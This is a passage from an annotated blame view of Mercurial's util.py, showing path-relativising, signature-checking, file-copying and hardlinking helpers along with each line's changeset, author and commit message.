1829 |
|
33799
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1830 |
if pycompat.ispypy: |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1831 |
# PyPy runs slower with gc disabled |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1832 |
nogc = lambda x: x |
05264fc9d8d6
util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents:
33793
diff
changeset
|
1833 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1834 |
|
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1835 |
def pathto(root, n1, n2): |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
1836 |
"""return the relative path from one place to another. |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1837 |
root should use os.sep to separate directories |
3669
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1838 |
n1 should use os.sep to separate directories |
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1839 |
n2 should use "/" to separate directories |
48768b1ab23c
fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
3629
diff
changeset
|
1840 |
returns an os.sep-separated path. |
4229
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1841 |
|
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1842 |
If n1 is a relative path, it's assumed it's |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1843 |
relative to root. |
24c22a3f2ef8
pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4129
diff
changeset
|
1844 |
n2 should always be relative to root. |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
1845 |
""" |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1846 |
if not n1: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1847 |
return localpath(n2) |
4230
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1848 |
if os.path.isabs(n1): |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1849 |
if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: |
c93562fb12cc
Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4229
diff
changeset
|
1850 |
return os.path.join(root, localpath(n2)) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1851 |
n2 = b'/'.join((pconvert(root), n2)) |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1852 |
a, b = splitpath(n1), n2.split(b'/') |
1541
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1853 |
a.reverse() |
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1854 |
b.reverse() |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1855 |
while a and b and a[-1] == b[-1]: |
1541
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1856 |
a.pop() |
bf4e7ef08741
fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents:
1528
diff
changeset
|
1857 |
b.pop() |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1858 |
b.reverse() |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1859 |
return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.' |
884
087771ebe2e6
Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents:
878
diff
changeset
|
1860 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1861 |
|
44436
09f3e003fc2a
phabricator: avoid a stacktrace when command arguments are missing
Matt Harbison <matt_harbison@yahoo.com>
parents:
44060
diff
changeset
|
1862 |
def checksignature(func, depth=1): |
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1863 |
'''wrap a function with code to check for calling errors''' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1864 |
|
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1865 |
def check(*args, **kwargs): |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1866 |
try: |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1867 |
return func(*args, **kwargs) |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1868 |
except TypeError: |
44436
09f3e003fc2a
phabricator: avoid a stacktrace when command arguments are missing
Matt Harbison <matt_harbison@yahoo.com>
parents:
44060
diff
changeset
|
1869 |
if len(traceback.extract_tb(sys.exc_info()[2])) == depth: |
7646 | 1870 |
raise error.SignatureError |
7388
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1871 |
raise |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1872 |
|
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1873 |
return check |
5751631246de
dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents:
7301
diff
changeset
|
1874 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1875 |
|
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1876 |
# a whilelist of known filesystems where hardlink works reliably |
32291
bd872f64a8ba
cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents:
32290
diff
changeset
|
1877 |
_hardlinkfswhitelist = { |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1878 |
b'apfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1879 |
b'btrfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1880 |
b'ext2', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1881 |
b'ext3', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1882 |
b'ext4', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1883 |
b'hfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1884 |
b'jfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1885 |
b'NTFS', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1886 |
b'reiserfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1887 |
b'tmpfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1888 |
b'ufs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1889 |
b'xfs', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1890 |
b'zfs', |
32291
bd872f64a8ba
cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents:
32290
diff
changeset
|
1891 |
} |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1892 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1893 |
|
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1894 |
def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
1895 |
"""copy a file, preserving mode and optionally other stat info like |
29367
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1896 |
atime/mtime |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1897 |
|
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1898 |
checkambig argument is used with filestat, and is useful only if |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1899 |
destination file is guarded by any lock (e.g. repo.lock or |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1900 |
repo.wlock). |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1901 |
|
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1902 |
copystat and checkambig should be exclusive. |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
1903 |
""" |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1904 |
assert not (copystat and checkambig) |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1905 |
oldstat = None |
18326
614f769e6aa7
util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents:
18026
diff
changeset
|
1906 |
if os.path.lexists(dest): |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1907 |
if checkambig: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1908 |
oldstat = checkambig and filestat.frompath(dest) |
18326
614f769e6aa7
util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents:
18026
diff
changeset
|
1909 |
unlink(dest) |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1910 |
if hardlink: |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1911 |
# Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1912 |
# unless we are confident that dest is on a whitelisted filesystem. |
31678
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1913 |
try: |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1914 |
fstype = getfstype(os.path.dirname(dest)) |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1915 |
except OSError: |
1ed57a7dd904
statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents:
31662
diff
changeset
|
1916 |
fstype = None |
31575
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1917 |
if fstype not in _hardlinkfswhitelist: |
e506e461c7a9
util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents:
31573
diff
changeset
|
1918 |
hardlink = False |
31577 | 1919 |
if hardlink: |
23899
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1920 |
try: |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1921 |
oslink(src, dest) |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1922 |
return |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1923 |
except (IOError, OSError): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1924 |
pass # fall back to normal copy |
4271
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1925 |
if os.path.islink(src): |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1926 |
os.symlink(os.readlink(src), dest) |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1927 |
# copytime is ignored for symlinks, but in general copytime isn't needed |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1928 |
# for them anyway |
4271
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1929 |
else: |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1930 |
try: |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1931 |
shutil.copyfile(src, dest) |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1932 |
if copystat: |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1933 |
# copystat also copies mode |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1934 |
shutil.copystat(src, dest) |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1935 |
else: |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1936 |
shutil.copymode(src, dest) |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1937 |
if oldstat and oldstat.stat: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1938 |
newstat = filestat.frompath(dest) |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1939 |
if newstat.isambig(oldstat): |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1940 |
# stat of copied file is ambiguous to original one |
36781
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
1941 |
advanced = ( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1942 |
oldstat.stat[stat.ST_MTIME] + 1 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1943 |
) & 0x7FFFFFFF |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1944 |
os.utime(dest, (advanced, advanced)) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1945 |
except shutil.Error as inst: |
43724
5be128f669d4
util: convert an exception to bytes when passing to Abort()
Matt Harbison <matt_harbison@yahoo.com>
parents:
43117
diff
changeset
|
1946 |
raise error.Abort(stringutil.forcebytestr(inst)) |
3629
4cfb72bcb978
util: add copyfile function
Matt Mackall <mpm@selenic.com>
parents:
3568
diff
changeset
|
1947 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1948 |
|
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1949 |
def copyfiles(src, dst, hardlink=None, progress=None): |
24439
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1950 |
"""Copy a directory tree using hardlinks if possible.""" |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1951 |
num = 0 |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1952 |
|
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1953 |
def settopic(): |
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1954 |
if progress: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1955 |
progress.topic = _(b'linking') if hardlink else _(b'copying') |
698
df78d8ccac4c
Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
667
diff
changeset
|
1956 |
|
1207 | 1957 |
if os.path.isdir(src): |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1958 |
if hardlink is None: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1959 |
hardlink = ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1960 |
os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1961 |
) |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1962 |
settopic() |
1207 | 1963 |
os.mkdir(dst) |
32208
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
1964 |
for name, kind in listdir(src): |
1207 | 1965 |
srcname = os.path.join(src, name) |
1966 |
dstname = os.path.join(dst, name) |
|
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1967 |
hardlink, n = copyfiles(srcname, dstname, hardlink, progress) |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1968 |
num += n |
1207 | 1969 |
else: |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1970 |
if hardlink is None: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1971 |
hardlink = ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1972 |
os.stat(os.path.dirname(src)).st_dev |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1973 |
== os.stat(os.path.dirname(dst)).st_dev |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1974 |
) |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1975 |
settopic() |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1976 |
|
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1977 |
if hardlink: |
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1978 |
try: |
14235
b9e1b041744f
rename util.os_link to oslink
Adrian Buehlmann <adrian@cadifra.com>
parents:
14234
diff
changeset
|
1979 |
oslink(src, dst) |
2050
e49d0fa38176
util.copyfiles: only switch to copy if hardlink raises IOError or OSError.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2026
diff
changeset
|
1980 |
except (IOError, OSError): |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1981 |
hardlink = False |
1591
5a3229cf1492
do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
1585
diff
changeset
|
1982 |
shutil.copy(src, dst) |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1983 |
else: |
1591
5a3229cf1492
do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
1585
diff
changeset
|
1984 |
shutil.copy(src, dst) |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1985 |
num += 1 |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1986 |
if progress: |
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1987 |
progress.increment() |
698
df78d8ccac4c
Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
667
diff
changeset
|
1988 |
|
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1989 |
return hardlink, num |
11254
640d419725d0
util.copyfiles: don't try os_link() again if it failed before
Adrian Buehlmann <adrian@cadifra.com>
parents:
11010
diff
changeset
|
1990 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1991 |
|
34052
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1992 |
_winreservednames = { |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1993 |
b'con', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1994 |
b'prn', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1995 |
b'aux', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1996 |
b'nul', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1997 |
b'com1', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1998 |
b'com2', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1999 |
b'com3', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2000 |
b'com4', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2001 |
b'com5', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2002 |
b'com6', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2003 |
b'com7', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2004 |
b'com8', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2005 |
b'com9', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2006 |
b'lpt1', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2007 |
b'lpt2', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2008 |
b'lpt3', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2009 |
b'lpt4', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2010 |
b'lpt5', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2011 |
b'lpt6', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2012 |
b'lpt7', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2013 |
b'lpt8', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2014 |
b'lpt9', |
34052
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
2015 |
} |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2016 |
_winreservedchars = b':*?"<>|' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2017 |
|
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
